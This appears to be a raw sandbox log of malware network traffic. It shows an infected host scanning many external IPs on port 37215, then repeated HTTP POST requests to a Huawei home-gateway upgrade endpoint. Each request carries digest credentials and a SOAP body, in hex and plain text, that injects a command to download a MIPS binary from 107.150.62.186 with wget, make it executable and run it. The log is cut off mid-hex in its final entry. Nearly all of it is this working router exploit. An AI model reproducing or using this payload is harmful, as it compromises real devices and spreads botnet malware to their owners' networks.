Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.149.85.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.166.36.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.164.207.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.198.105.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.13.71.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.140.152.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.232.143.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.115.93.117:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 